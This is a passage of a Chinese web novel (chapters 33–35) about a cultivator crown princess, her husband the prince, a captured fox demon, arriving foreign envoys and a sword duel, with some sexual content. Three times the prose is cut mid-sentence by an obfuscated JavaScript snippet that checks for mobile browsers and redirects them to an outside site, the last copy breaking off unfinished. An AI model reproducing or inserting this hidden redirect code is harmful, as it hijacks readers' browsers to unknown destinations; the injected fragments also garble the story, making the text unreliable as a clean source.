短短几句话,信息量太大,所有人愣在原地,王妃不敢置信地望向怀中的叶苒。 叶苒哭着点头。 余初晏心觉麻烦,她今日目的已经达成,是时候回宫了,遂道:“如果宁亲王府不留你,就跟我回东宫算了——” “不行!”宁王妃迅速反驳,“我何时说过不要阿苒了,这是我们母女之间的事,太子妃殿下慢走不送。” 她身边的嬷嬷立刻心领神会,做出送客的姿态,余初晏扭头就走。 走出几步,又听见宁王妃致歉与道谢声。 余初晏没有回头,此后之事确实与她无关,叶苒与宁亲王夫妇如何,她并不在意。 此行除了收获一枚效果不明的丹药,最重要的是她得到了仇人的消息,虽说只有寥寥数语。 无妨,照那拐子所说,终有一天她们会对上,届时就是逍遥道人的死期。 33. 狐狸 回到听荷殿,就瞧见了在她书房中办公的小龙崽子。 桌上公文堆得乱七八糟,显然是一股脑从承德殿搬过来的,贴身太监元喜在给他整理。 见到余初晏,赵景泽还未反应,素兰先喜滋滋将冰镇着的甜瓜端来,“皇后娘娘送来的,说是专程留给阿晏小姐的。” 余初晏对瓜果类兴趣不大,凡间瓜果再怎么好吃,也比不过灵果。 瞧着赵景泽偷偷望来的模样,捻了几块喂给他,“午膳用过了吗?” 赵景泽点头,随意咬了两口便推拒着不吃。 “你不是喜欢吃,怎么今日不吃?”余初晏随意瞥眼公文,是春闱考中之人的去处安排。 赵景泽摇头不语,专心批公文。 余初晏挑眉,看向元喜,小太监支吾声,挡着嘴用气音道:“殿下又被皇后娘娘教训了……” 赵景泽搁笔瞪他,“喂!” 太子三天两头被皇后教训,习惯了的余初晏无动于衷,勉强吃了两口甜瓜,“不爱吃,你吃不吃,不吃我让素兰和……”看一眼旁边站着的小太监。 “元喜。”小太监低声提醒,太子妃总是记不住他的名字。 “……和元喜分给其他人了。” 赵景泽还是吃了,余初晏靠在他身边看书,手中无意识动作,将切成小块的甜瓜往他口中送。 澧都夏日不算热,房中又放着冰盆,风中散着清淡的凌霄花香。 余初晏体温四季如常,见素兰准备了,便早早换上夏装,藕色的罗裙,外罩着窄衣。 锁骨上的红印不复清晨那般明显,只余下浅淡的粉色,腕间的牙印却是没消。 赵景泽年轻,刚开荤,不知节制。 余初晏不甚在意,少有遮掩。 皇后今日一见,未对余初晏提及半分,转头就狠狠敲打了太子。 直将春风得意的太子骂得狗血淋头,这两日高昂的兴致都去了一半。 虽说如此,等他见到余初晏,又心猿意马了。 趁着她分神,圈着她的腕骨轻轻摩挲。 余初晏面上看书,实则修炼,那枚炼化的魔珠沉在她丹田里,一动不动,无论她怎么刺激都无反应,也无法吸收。 大抵是她实力还不够,目前吸收不了? 反正天道不至于在这种方面坑她,先放在丹田中,日后元婴了再试试。 指尖传来轻微的刺痛,余初晏抬首瞪过去,“昨日说你是小狗还不乐意,是谁总胡乱咬人?” 赵景泽瞪回去,叼着她的指尖,含糊道:“我说了不吃了,你还一直喂给我,是要撑死我吗?” 一整盘甜瓜都塞进了太子腹中,晚膳都不必吃了。 余初晏看他这般黏糊的眼神,哪能不懂他,“青天白日的,阿泽就这般燥热,等到三伏天,可怎么办?” 赵景泽挥退下人,大敞着的通风窗户,悄无声息合上。 将书案推远些,又将余初晏揽至腿上。 抬手阻挡他胡乱的亲吻,余初晏附在他耳边道:“只能用手。” 赵景泽耳廓一片通红,桃花眼如水洗过般透亮,贴着余初晏唇角,想要她改变主意。 余初晏意志坚定,一手勾着他的脖子,亲了亲他的眉眼,“双修之事,贪多嚼不烂,日后还长。” 赵景泽泄气地妥协,“好嘛。” 泄愤在余初晏白净的肩颈处又咬了一口,后者也不惯着,手中动作加重,惹得他倒吸一口气。 “阿晏!”他喉结滚动两下,颇有些咬牙切齿。 余初晏这才放轻动作,安抚地亲亲他的耳尖。 隐忍地哼声,消散在两人唇角,不知何时房内的冰已经化成了水。 良久,余初晏抽回手,将擦拭的帕子扔开,顺手拍了拍赵景泽略失神的脸,“这下可以安分点了?” 窗户再度敞开,凉风吹进,赵景泽缓了一阵,才将脸上的热意消散。 抬高声调将宫人唤来,余初晏净手,赵景泽去后室更衣。 目光再次扫过桌案的文书,这回是他国来使即将到访一事。 等小龙崽子换了身衣出来,余初晏也换上了便于行动的着装。 “长高了些。”余初晏这才发现,以往她身高能到小龙崽子眉骨处,现下只到了唇角。 抚顺赵景泽的衣领,余初晏道:“练剑去了,你自己待着。” 仇人的出现,久违地激发了余初晏的上进心。 十八年前逍遥道人应该就已经是金丹往上,如今只会更强。 想要手刃仇人,她目前还不够强。 赵景泽万般不舍,他喜欢处理公文时,余初晏在抬头就能看见的范围里,同处一室,各做各的,就像寻常百姓夫妻一般。 余初晏随意亲了他一口,“晚膳我要吃冰酪,记得让厨房做。” 赵景泽下意识看向素兰,这种事分明是素兰在管。 素兰:“……好。” 总感觉她家阿晏小姐才是家中那个不学无术、只知玩乐的丈夫,而太子才是替她操持家事的夫人。 - 皇城司暗牢中常年昏暗,潮湿混合着血腥气,于鼻尖挥散不去。 余初晏忍不住皱眉,封闭了嗅觉,才舒心一些。 周围众人也不知是习惯,亦或者嗅觉未有她这般灵敏,神色未变。 连赵景泽也是接受良好的模样。 余初晏常将小龙崽子放在柔弱需要保护的一栏,忘记他好歹身为太子,刑讯之事习以为常。 一直走至地牢深处,又穿过道暗门,才见到被困在防守最严密之处的胡礼。 “怎么不给他锁起来。”赵景泽瞧着散落在角落的铁链,又看向趴在草堆里呼呼大睡的犯人。 禁卫打开门锁,闻此欲言又止。 “铁链锁不住他。”余初晏替禁卫解围,微抬下巴,“拿水给他泼醒。” 禁卫提起墙角摆着的残缺木桶,作势泼去。 浑浊的水即将触到胡礼身上时,像是被强风吹离,反溅到禁卫袍角。 胡礼已经坐起身,眯着眼打哈欠,一副懒洋洋的模样。 下个瞬间,他就被无形的巨力卡着脖颈镶进墙中,骨骼撞进墙面的巨响听得在场所有人牙根发酸。 “你未免也太悠闲了,是觉得这些凡人怎么也伤不到你吗?”余初晏向前一步,手负在身后。 她未用灵力,仅靠威压,就将胡礼束缚得喘不过气来。 “小仙饶命。”胡礼嘤嘤落泪,泪珠滚过巴掌大的脸,竟有一种破碎的美感。 狱中其他人面色恍惚,忍不住心生怜悯,谴责的目光纷纷落到余初晏身上。 赵景泽察觉到身边人的不对劲,开口呵斥,禁卫们才反应过来,纷纷低头,避开妖人的脸。 见状,胡礼收起了自己的小把戏,细长的眼尾一挑,“都是同道中人,小仙又何必赶尽杀绝~” 他说话时,话尾轻轻上扬,听得赵景泽浑身不适,从余初晏身后探头,“谁和你是同道中人,能不能好好说话,舌头捋不直不如割了。” 余初晏轻轻瞥了小龙崽一眼。 赵景泽敏锐地察觉了,眨眨眼,无辜道:“阿晏,本宫不喜欢他,他此先还想推着本宫往刺客刀口撞。” 余初晏点头,没给胡礼解释的机会,直接废掉了他的右手。 胡礼吃疼叫出声,目光一厉,是泥人也有三分脾气,何况他好歹也算修真者。 虽说受制于余初晏的符篆,修为被压制,有些刻在骨血里的东西不会被压制。 “你一只狐妖,不好好在青丘待着,跑出来做什么?”余初晏松开了对胡礼的桎梏。 后者跌落在地,右手无力地垂着,左手捂住脖颈喘息,目光凶狠地瞪视着余初晏。 没想到居然是狐妖,赵景泽没忍住打量了一眼他的相貌,不是都说狐妖美得惊人,一颦一笑皆是魅惑。 可此人看着顶多算是白面小生,称不上绝代风华。 “小仙何必明知故问,你来此做什么,我便做什么。”胡礼扯起嘴角,瞧着青渊太子懵懂无知的模样,讽刺一笑,“不过比不过小仙,我才不喜欢男子。” 身上一股龙味,分明是双修过的,他才不会为了龙气,出卖自己的色相,当初就是因此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672153|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才逃出月凰。 余初晏俯视他的眼睛,乌黑的瞳孔里没有多余的情绪,确认他没有说谎,真的只是来当方士的。 耳边一直有细微的“沙沙”声,从四面八方传来,余初晏望了眼墙面。 抬脚踩在胡礼的右肩,逼得他额间冷汗直冒,“我不打算杀你,但是你若再耍些无聊的把戏,那就未必了。” 也不知余初晏用了什么法子,胡礼无法自愈,他哪受过这种程度的伤,不出一会就坚持不住求饶。 “殿下,牢外全是老鼠……”禁卫听见动静回头,身后地面上密密麻麻算是老鼠,大的足足手臂粗,小的也有巴掌大,直教人头皮发麻。 赵景泽扭头望了一眼,马上收回视线,拽着余初晏的衣摆不松手。 余初晏脚下发力,“没听明白吗?” “碰”地一声,草垫上哪还有胡礼的人影,取而代之地是一直白毛狐狸,毛色略有暗沉,还打着结。 “奴家几日未进食,给自己找点吃的不行吗?”狐狸委委屈屈哭了起来。 一只前爪捂着眼睛,牢笼里只余下狐狸嘤嘤的叫声。 “……”赵景泽不懂前人为何会被狐狸诱惑,赵景泽懂了。 余初晏收回了脚,对待动物,勉强温和了一些,“给他喂些水食。” 禁卫不敢动弹,因着外头的老鼠未曾退去。 余初晏扫一眼狐狸,窸窸窣窣的声音再次传来,这回却是老鼠们躲回暗处。 “奴家想出去晒太阳,这里太脏了,奴家的毛毛都打结了~”狐狸讨价还价。 “可以。”余初晏点头,假装没看到他眼中跃跃欲试逃走的暗光。 扭头问禁卫,“有狗牌儿吗,拿个过来,给他戴上。” 宫中有饲养各种动物,甚至有专门司管动物的部门,要不了多久挂着铜牌的狗链就被送到余初晏手上。 “狐狸还是老老实实做狐狸比较好。”余初晏施了个术,不顾狐狸的挣扎,强行给他套上项圈。 又贴了符,给他前肢治好。 “未经过我同意就变成人形的话,杀了你。”余初晏用最温柔的语气,说最凶狠的话。 狐狸瑟瑟发抖,大眼睛里蓄满眼泪,早知如此,他就不该离开月凰、离开阿姐身边。 顺手抚了抚狐狸毛,太糙了,不会保养自己皮毛的狐狸,不是什么好东西,余初晏很快对他失去兴趣。 赵景泽顺势也摸了把,皮毛还没表姐养的那只狮子狸顺滑,同样兴趣寥寥。 “记得净手,”余初晏提醒他,“这种野狐狸身上最脏了,谁知道有没有跳蚤。” 胡礼:“……”发出一阵愤怒的犬叫。 两人相携离去,禁卫听从余初晏的安排,牵着胡礼出去晒太阳。 路上还能听见赵景泽的嘀咕:“狐狸怎么叫得像狗一样,他真是狐妖?” “货真价实,应该是法术不精,长相也不过尔尔,被族人排挤,只能出来讨生活。”余初晏道。 胡礼:“……”又想捂着脸嘤嘤哭了,流年不利,才遇到魔头。 不知阿姊何时才会发现他失踪,来救他,胡礼忍不住仰头朝天哀哀嚎叫。 - 月凰国,正陪太子骑射的女子若有所觉,仰头望向东方。 “刀剑无眼,何故分心?”太子射出的箭矢精准擦过她的肩膀,刺入百步外灰兔腰腹。 女子垂头恕罪。 太子勒马向前,随意拍了拍她的肩。 随猎的侍卫,已经将太子射中的猎物交至她手中。 “既然今日胡大人兴致不高,便摆驾回宫罢。” “殿下!”女子叫住准备离开的太子。 太子回眸望来,下巴一扬,示意她有事快讲。 “此番出使青渊,属下可否同行?” 太子略一沉吟,“此番是四哥带队,你直接去问他便是,怎么?想去青渊找你不争气的弟弟?” 女子抿唇,未说是也未说不是。 太子了然地大笑,扬尘而去。 “若是到了青渊,替孤瞧瞧那神女究竟是何等风华人物——” 34. 使臣入京 “阿晏,在看什么,这么入神?”李晓蓉手搭在余初晏肩头,顺着她的视线往下。 城门大开,皇城司禁卫开道,将百姓拦于路边,太子与一众官员亲自候在城门。 “想必是使臣入京了。”宋峥同样靠来窗边。 在她之后,其他贵女也围过来,倚在围栏往下看。 “听闻天启是九殿下带队,他才离青渊三年,又跑回来作甚?” “大抵天启呆不习惯,觉着还是咱们青渊各方面更甚一筹?” “他那副相貌,估计在北地不讨人喜欢……” 今日本是宋峥的接尘宴,青渊帝生辰,两国使臣来贺,宋峥也顺势归京,邀众女品茗。 特意选在这城门街边,就是为了瞧上一眼使臣进京。 余初晏遥望着远方,眼中映出未知的紫宸之气,虽比不得赵景泽的气盛,但货真价实。 “天启九殿下什么来头?”她小声问李晓蓉。 李晓蓉回:“我也不太清楚,只知九殿下曾在青渊当过五年质子,早些年才回天启。” 当过质子,回国三年,那紫宸之气不够凝实也正常。 号角吹响,两国来使入京,为首两名男子同样的衣着华贵,却是两种截然不同的风格。 玄衣男子面若好女,细长的柳眉、狐眼,天道精心雕琢的五官缀在白皙的肌肤上,组成一副绝色容颜。 水红色的薄唇紧抿,显出几分不耐与冷漠,即便如此也无损半分颜色,只叫人恨不得将所有美好之物都捧于他面前。 余初晏暗道:男生女相,本是富贵之相,可惜他额间悬针,唇薄而垂,命途多舛,性子孤傲难训。 此人就算成了皇帝,也当是刚愎自用的暴君。 不过好歹是紫宸之气,余初晏轻叩着栏杆,赵景泽目前还能撑起她的修炼,不过偶尔尝点别的紫宸之气,于修为无害。 目光转至他身边的白衣青年,虽说比之身旁少年他容貌稍逊几分,但胜在气质出众,眉如新月,眼若秋水,肤如冷玉。 嘴角衔着阳春三月般明媚的笑容,端得是君子如玉,清雅似雪。眉心坠着一枚金边豆青的凤翎,为他平添了几分魅色。 “虽说九殿下长得好看,可我觉得太艳丽了些,还是月凰四殿下更令人神往。”李晓蓉趴在余初晏肩头,跟她咬耳朵。 “白衣服的是月凰人?”余初晏好奇。 “月凰贵子会在额间戴各式珠宝或羽毛,成家后方可取下。”李晓蓉好歹在月凰待过几日,将听来的消息分享给友人。 “据说四殿下二十有余未成婚,也不知在等谁。” 宋峥听后调笑她,“我们阿蓉也到了该成婚的年龄了,也不知何人能入你的眼。” “宋阿姊别打趣我。”李晓蓉微红着脸,将面容埋在余初晏背上,不让她人瞧见。 引来了其他姐妹们善意的哄笑。 城门口,赵景泽已经与两位领队的贵客交谈过,正领着二人前往使馆。 三名气宇轩昂男子骑着高头大马,谈笑于道路上,惹得一众女子心怀春澜,情意萌动。 路过几人所在茶楼时,宋峥挥了挥手,赵景泽抬首望来,一眼就看见了宋峥身边的余初晏,翘起嘴角无声唤她:“阿晏!” 宋峥佯装吃醋,往余初晏肩上一靠,“有了媳妇,就忘了姐姐了。” 旁边人臭她,“和媳妇那是一辈子的事,你有了陆三到处看别的男子,还好意思责怪赵大。” “我是欣赏,不要说得那么俗套。” 余初晏回了小龙崽一个笑容,余光一瞥对上了九殿下顺势望来的眼睛,她呼吸微滞,深沉的灰蓝色,似有烟雾缭绕。 这九殿下,竟然还有异族血脉。 对视仅短短一瞬,两人错开眼。 使臣队伍逐渐消失在街尾,皇城司撤去,街上很快恢复往日喧嚣。 宋峥拍拍手,“好了,姐妹们,美男难遇,佳茗同样难遇,先珍惜眼前的佳茗罢。” 包间中也重新热闹,品茗赏诗,分享宅间趣事,其乐融融。 虽与修炼无用,余初晏靠在窗前,听她们打闹,也生出几分怡然,嘴角的弧度一直未减。 直到宋峥拿出一幅另她眼熟万分的画作——《神女斗天》 “听闻真迹被太子买下了,我还觉得有几分可惜,不过花了些钱让作者重绘了一幅。”宋峥画作一展,铺在桌案上任贵女们观赏。 “早听闻神女一事,楚江两岸还立了神像,当真这么厉害?” “据说连真龙都出来了,几万人瞧见,应该做不了伪。” “天哪,我也好想亲眼瞧一瞧神女,究竟是什么人物,真是当地的山神吗?” 贵女你一言我一语,语气中藏不住向往,小心翼翼拂过画卷中的骑龙神女。 传到京中的版本略有不同,未免余初晏受打扰,在青渊帝授意下,皇城司删去了神女与太子的纠葛,着重于山神的身份。 唯一猜到真相的李晓蓉,悄悄转头看向余初晏。 余初晏:“……”以为离开湖州,就能离开舆论,哪知京中也都在讨论这个。 再次庆幸自己当时戴了傩面,保持住了神秘色彩。 算了,为了信仰之力,她还可以忍受。 - 另一头,赵景泽先前脸上还挂着虚假的笑容,见到余初晏后,却是带上了几分真情实意。 同行之人察觉到了他细微的变化,扯着嘴角道:“方才那是昭华郡主?青渊女子成家了还能如此逍遥,颇有月凰风范了。” 赵景泽目光微沉,不太想接他的话头,转头与月凰四殿下搭话。 玄衣男不依不饶,“听闻你也成婚了,怎么,娶不到表姐,其他女子也能凑合?” 赵景泽终是忍不住,怒目而视,“宇文芜——” 身后礼部侍郎请咳一声,赵景泽深吸口气,还是压下了火气,道:“九殿下久未在澧都,想来消息不灵通,京中谁人不知本宫与太子妃琴瑟和鸣,鹣鲽情深。与表姐之间更是清清白白,虽说九殿下来者是客,此等空穴来风之事还是不要乱传为好!” “至于表姐婚后如何行事,也是表姐的自由,九殿下不觉得自己未免太关心本宫表姐了!” 宇文芜狐狸眼微动,这青渊太子倒是比以前沉稳了些,不再一激就起。 旁观二者的白衣男子,抿唇一笑,道:“听闻九殿下在澧都时,昭华郡主关照有佳,关心旧友也是寻常之事。只是九殿下对月凰女子似乎误会颇深。” 赵景泽腹诽,关照有佳就出鬼了,表姐在他人欺负宇文芜时,不落井下石就是极好。 宇文芜闻此也是浅淡扬唇,他生得极好,不做出刻薄的神情,单单这么一笑,哪怕是男子都微微晃神。 “四殿下说得是极,本殿此番还特意带了新婚礼物,打算赠与郡主,待到宫宴之后,亲手交予。” 赵景泽心中嗤笑,宇文芜能安好心才怪,比起上次那只丑狐狸,他觉得宇文芜更像狐媚子,还是阴险狡诈的那种。 面上不显,扯着公式化的笑容送两人至使馆,随后一刻不想多待,留下礼部之人继续接待,他先一步回宫中。 月凰与天启关系也算不上好,不过是为了礼面短暂同行,如今进了使馆,立刻分道扬镳,各回各的院落。 待到四下无外人,月凰使臣中一名侍卫打扮女子低声道:“属下瞧着宇文芜与赵太子关系恶劣,可要借此机会,引发两国争端……” 白衣男轻轻摇头,“此番我们只是来贺礼,无需多生事端。” 女子又道:“胡大人入京后擅自离队,是否要……” “无妨,胡义本是太子之人,想必得了太子的命令,另有安排。若是向尔等求助,帮上一把,其他的不必理会。” 青渊使臣馆建得很大且华贵,像是特意与他国展示富强,即使已是夏末,池中百荷与园中百花仍然竞相盛开。 沈观月抚过手中开得艳丽的木槿,忽而道:“你可知今日昭华郡主身边之人是谁?” 下属回想片刻,“昭华郡主身边常年莺燕环绕,不知殿下所说是哪一位?属下可将画像弄来供殿下辨认。” “不必了,随口一问。”沈观月摇头,横竖进宫也会再遇上,在他头顶,大片桐花盛开,如云似雪。 - 下午,余初晏又去与余雪生、贺吟碰面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681499|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 贺家军才回边境,短时间不会再进京,陛下生辰,只有老侯爷夫妻领着贺吟上京。 雪灾结束后,余雪生还是选择跟贺吟上淮州,短短几个月,她模样大变。 余初晏第一眼还没认出她是刚捡来时的丑丫头。 肤色是健康的小麦色,眼睛里熠熠有光,长高健壮了不少,还像贺吟一般,有了很薄一层肌肉。 “阿姊!”她唤。 贺吟不甘示弱,“晏阿姊!答应过我们的剑招,你还教不教啊!” “教。”余初晏折了根枝,“三天,我每天来你们侯府一个时辰,能学多少是你们的本事。” 三天后就是陛下生辰宴。 “好!”两名少女跃跃欲试。 考虑到余雪生才习武没多久,多是打基础,初学就一步登天、接触高深的剑法不合适。 余初晏便将她入门时所练的基础九式演示给两人。 九阙剑法千百年经过数位前辈改进,基础九式看似简单易上手,实则暗藏玄机,从第六式起极为考验基本功。 基本功不扎实,第六式往后无论如何都做不到连贯,尤其还要结合呼吸吐纳。 这套招式,余初晏自两岁炼体开始,哪怕后来学习更高深的招式,每日都会舞上百遍,如呼吸般得心应手。 贺吟一瞧,小脸皱着,“晏阿姊,你不是敷衍我罢?这不就是贺家的剑法吗?” 她起势,舞给余初晏,虽略有生涩,整体气势与力道却是足够的。 余初晏饶有兴趣旁观,确实有她九阙门的影子,足足八成相似,创下此剑法之人,应当只参透了第七式。 也或者是因为贺吟年岁还小,舞不出其中奥义。 余雪生看得眼花缭乱,也尝试着挥出两剑,还算像模像样。 拿着枝条,余初晏矫正了一番她的动作。 眼见贺吟还是耷拉着脸,她圈指一弹小孩眉心,“你再仔细瞧瞧,和你的剑法有何不同。” 余初晏身形一沉,只着重演示六式以后,这回她不再漫不经心,带上了凌厉的剑意。 无骨的枝条在她手中变成了削铁如泥的宝剑,剑光如风,分明只是由基础剑式组成,却舞出了纵横剑意。 她收势时,枝条已经不堪负重,碎成粉末。 “看明白了吗?”睥睨的目光扫向二人。 贺吟:“……阿姊再来一次。” 余雪生只啪啪鼓掌。 “好招!妙极!”忽而一阵爽朗的笑声响起,一名鹤发白须却精神矍铄的老者步入习武场。 “祖父。” “老侯爷。” 贺吟与余雪生当即与老者打招呼问好。 余初晏也略欠身示意,定边侯的祖父,淮阴侯,贺家的掌权人。 淮阴侯贺长骥抚着胡须,笑道:“管家说家中有客,却不知是神女大人屈尊,老夫有失礼数。” 余初晏闻言看向贺吟,眼中意味不言而喻,贺吟连忙摇头,示意自己从未告知祖父。 “哈哈,是老夫猜到的,贺家剑法得国师点化,与小仙之剑自有八分相似。可惜老夫愚钝,迟迟参透不出后两式,国师便已离京……”贺长骥面露怀念。 说罢他忽然吹鼻子瞪眼,看向贺吟,“阿吟你这丫头,学艺不精,瞧得不仔细就算了,哪有说爹像儿子的!” 贺吟有苦说不出,她学贺家剑时,也没人告诉她这是受人点化过的,更没人告诉她点化之人还是晏阿姊的师尊。 因着是与师尊相识之人,余初晏放下了几分戒备,与淮阴侯交谈了几句。 得知她是来指点两个小丫头剑法的,当下眉开眼笑,如蒲扇的大掌拍在两人肩头,“那感情好,和神女大人学上几式,那是旁人求不来的福分。” 贺吟偷偷揉肩,哭丧着脸,瞧着余雪生面不改色的样子,心中更加沉郁。 余初晏谦虚称有约在先。 “若是小仙不嫌弃。”贺长骥目光一肃,面容也带上了正式的请求,“可否与老夫比试两招。” 如炬的眼神里,唯有对战的渴望,余初晏望着那双眼,心中略沉,终是缓缓点下头。 “好。” 35. 仇敌 晚膳后,余初晏还未回宫,赵景泽已经在听荷殿书房中,听取向一的汇报。 上回宁亲王府的刺客并非暗阁之人,而是胡礼自导自演,请来的江湖杀手, 赵景泽对那只丑狐狸又记恨了几分,胡乱生事,旋即想起他在牢中那番话。 “他说他与阿晏目的一致,阿晏不是心悦本宫才入的东宫,难道他也心悦本宫身边何人?” 向一欲言又止,委婉道:“太子妃殿下是否别有目的?”他觉得那位起初不像是心悦太子的模样,现下也不太像。 赵景泽眉目骤然下压,“你说什么呢,阿晏能有什么别的目的?” 向一也不知,若说太子妃别有所图,她又救陛下,又救龙脉,又救江州百姓,提出的要求也是……堪称简单。 可她若无所图,那当真只有心悦太子,才留在青渊?向一无论如何都想不通。 赵景泽不愿再谈这个,还狠狠瞪了向一几眼,只觉得他在挑拨他与阿晏关系。 未免太子发怒,向一只得汇报另一事,“……贺二少虽未回京,属下瞧着几位公子蠢蠢欲动,似乎又打算针对九殿下。” “不必管。”赵景泽讽刺道,“三年了还能被那些人再度针对,那他可真是一点长进都没有。” “好歹是使臣,如今青渊与天启关系微妙,又有雪灾一事在前……”向一提醒。 这倒是,赵景泽略一沉思,“那派人提醒他一番,听不听就是他的事了。” 向一对天启九殿下也有几分了解,他深深看一眼太子,提醒他?九殿下性子绝对是明知山有虎,偏向山而行。 殿外传来太子妃回宫的通传,赵景泽抬手挥退向一,起身整理一番着装,便去迎接。 今日余初晏居然走正门入院,赵景泽心觉不对,凑近后,果然发现她神情肃穆,宫人与她见礼也抿唇不理。 “发生何事了?”赵景泽迎上去,“不是说在淮阴侯家用晚膳,难道是雪生出事了?” 除此之外,他也想不出能让余初晏郁郁之事。 余初晏不答,只问他用过晚膳了吗。 赵景泽不依不饶,非要弄清楚她为何心情低落。 余初晏不说,埋头回屋,他就跟在身后一直碎碎念。 拥抱、亲吻、撒娇,手段用尽,才让余初晏脸色稍霁,推开他的脸,“你好烦啊,今晚能不能自己睡?” “不能!”赵景泽抱着她不愿放开,“阿晏你怎么能嫌弃我?” 余初晏被他气笑了,掐着他的腮帮子摆弄。 赵景泽一张俊脸被她搓捏成怪异的鬼脸,她才舒口气,闷闷道:“今日我和淮阴侯比武。” “他跟你比武做什么?”赵景泽疑惑。 “你别管这个。”余初晏不满。 “赢了?” “输了。” 赵景泽瞧着她的脸色,小心道:“淮阴侯为老不尊,怎么能对后辈出手?” 然后被余初晏抽了一下,她说:“是我技不如人。” 虽说未用灵力,仅用两把木剑比试,输了就是输了,她学艺不精。 让她闷闷不乐的是,与老侯爷那番对话。 败下阵后,老侯爷无任何赢过比试的喜悦,相反一脸凝重,“恐怕神女大人下山至今未曾遇过什么大挫折,您的剑虽有剑意,更多为迷茫。” “老夫斗胆问一句,您为何而挥剑。” 余初晏想都不想,答:“为手刃仇敌。” 老侯爷复问:“您的仇敌,身处何方?实力如何?可有把握将其击杀?” 余初晏迟疑,皱眉深思。 “您分明通通不知,何来的斩杀仇敌的自信?” 当然是因为天道——余初晏幡然醒悟,她为何这般确信天道真的会帮她? 久违地余初晏生出了冷汗。 思虑片刻,她沉声道:“多谢老侯爷指点迷津。” “能帮到您便好,国师当年也是这般点醒吾等众人。”老侯爷再次抚须大笑,强留余初晏留下用膳。 赵景泽手中把玩着余初晏乌黑顺滑的长发,耐心听她说完,才道:“所以老侯爷说你挥剑没有目标,阿晏闷闷不乐是因为没找到目标?” 余初晏摇头,“找到了。”她目标一直是变强。 她郁闷是因为又着了天道的坑,还有…… “那是因为你对仇敌一无所知?”赵景泽道破了她这点忧虑。 余初晏犹疑,目光闪烁片刻,缓缓点头。 赵景泽有些新奇,因着余初晏平日里天不怕地不怕的模样,面对天道也是狂妄至极,何时怕过什么。 他探头仔细瞧余初晏的神情,眉心紧蹙,嘴角耷拉,怎么看都忧心过重,不复以往那般事事自信。 “做什么?”余初晏与他对视,乌黑的眼眸里带着挥之不去的愁意。 “想亲亲阿晏。”赵景泽这么说,也直接付出行动,但这是个安抚意味的琢吻,反复贴了几下她的唇角。 余初晏泄气,挡着他的脸,不让他再动作,“说正事呢!” 赵景泽嘟囔,“让阿晏高兴,就是正事。” 眼见余初晏露出不耐,他马上道:“阿晏可记得当初仇敌实力多强?” 他虽然想细问是如何结仇的,感觉余初晏不会说,没有多问。 余初晏蹙眉回想,时间太久了,当时的她仅有两岁,只记得是魔修—— 魔修! 余初晏坐直身体,没错那人是魔修,师尊当时正在追击他,因为遭遇袭击的余初晏危在旦夕,才放弃追击,转而把余初晏带回玉虚山。 师尊道陨后,再次活跃于尘世的魔修,就只有—— “阿晏想到什么了?” “我知道他的身份了!” 两人异口同声。 赵景泽一怔,看余初晏的神情,此人还与他也有关? “暗算陛下,用魔气侵蚀青渊龙脉,挑动几国纷争。”余初晏一字一顿。 赵景泽越听越耳熟,“是暗阁的人!” 那余初晏对其能力有了把握,师尊曾提过那魔修合体修为,但被师尊重伤,伤及经脉那种。 难怪他会对年幼的余初晏下手,是想利用余初晏天生道骨修复经脉,可惜最后一步被师尊拦下,计划失败。 短短不到二十年,他实力应当还未恢复鼎盛,才用迂回的法子夺取紫宸之气。 虽有合体之境,估计只能使出化神水准,而她锻体已达元婴,灵力未跟上,但迟早的事。 只差一个大境界,有何可畏惧的,以她九阙门全部法宝,加上她一身修为,还斗不过一个重伤的魔修。 想通之后,余初晏不再迷茫,不再忧虑,反手抱住小龙崽子亲了一口,“谢了,阿泽。” 赵景泽还没来得及欣喜余初晏恢复神采,便见她提着剑就要往外走,问:“大半夜你做什么去?” 余初晏头也不回,“练剑!” 她现下有些兴奋,手刃逍遥道人一直是她的执念,师尊起先就是担心这会成为她的心魔,加之身体未养好,才不让她过早接触修炼。 如今仇敌近在咫尺,余初晏恨不得当即突破元婴,将其斩于青渊剑下。 激动之下,只能用练剑让自己稍微平复心情。 赵景泽搬起石头砸自己的脚,连忙追上去,试图将她拉回来,“大晚上你练什么剑?仇敌不会跑,多这么一晚练剑也不会让你明天就能杀死仇敌!” 余初晏自然也知,“可我静不下心。” 目光落到赵景泽半敞的衣领处,又瞧着他因急切和夏日燥热而染上红晕的面容。 “那我不练剑了。”余初晏脚步一转,反将赵景泽重新带回内室—— “我们双修!” 赵景泽:“……行。” - 例行在淮阴侯府教过剑后,余初晏遇上了准备出门逛街的宁亲王妃与叶苒。 西街达官贵人太多,走上两步就能遇上熟人。 叶苒眼尖,一眼瞧见了墙上驻足的余初晏。 “殿下!殿下!” 她还是穿得不伦不类的,改良过的裤装外穿,头戴着奇怪的帽子。 原本想装作没看见她两的余初晏,跃下墙,和宁亲王妃打招呼。 叶苒还是在宁亲王府住下了,以义女的身份,听闻宁亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 